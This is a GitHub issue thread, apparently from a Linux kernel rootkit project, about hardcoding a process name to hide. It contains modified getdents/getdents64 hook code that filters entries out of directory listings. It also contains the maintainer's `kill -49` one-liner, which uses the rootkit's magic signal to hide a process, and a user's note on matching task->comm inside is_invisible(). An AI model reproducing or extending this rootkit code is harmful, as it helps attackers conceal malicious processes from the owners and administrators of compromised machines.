Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Predefined Hidden process name #7

Closed
ghost opened this issue Dec 3, 2017 · 2 comments
Closed

Predefined Hidden process name #7

ghost opened this issue Dec 3, 2017 · 2 comments

Comments

@ghost
Copy link

ghost commented Dec 3, 2017

Hi,

I'm trying to add a hardcoded predefined hidden process name

I'm trying this but It doesn't work

#include <linux/string.h>
static const char* phpn = "process";

in both getdents getdents64:

while(off < ret) {
	dir = (void *)kdir + off;
	if((!p && (memcmp(HIDE, dir->d_name, strlen(HIDE)) == 0)) 
            || (p && is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) 

            /* Predefined process check  */
            || (p && (strncmp(dir->d_name, phpn, strlen(phpn)) == 0))

            {
		if(dir == kdir) {
			ret -= dir->d_reclen;
			memmove(dir, (void *)dir + dir->d_reclen, ret);
			continue;
		}
		prev->d_reclen += dir->d_reclen;
	} else {
		prev = dir;
	}
	off += dir->d_reclen;
}
if(copy_to_user(dirent, kdir, ret))

kfree(kdir);
return ret;
}

I was going to add a signal switch next to enable and disable the hiding of predefined process(es)

@f0rb1dd3n
Copy link
Owner

Hi,

why not add the predefined proc to start.sh script? Is just add a line like this:

kill -49 `ps -ef | grep predefinedproc | grep -v grep | awk '{print $2}'`

I hope this helps you. And sorry my delay.
;)

@ghost
Copy link
Author

ghost commented Dec 5, 2017

I realized that dir->d_name in process is the pid digit not process name so I added a "task->comm" condition in is_invisible() function

@ghost ghost closed this as completed Dec 5, 2017
This issue was closed.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant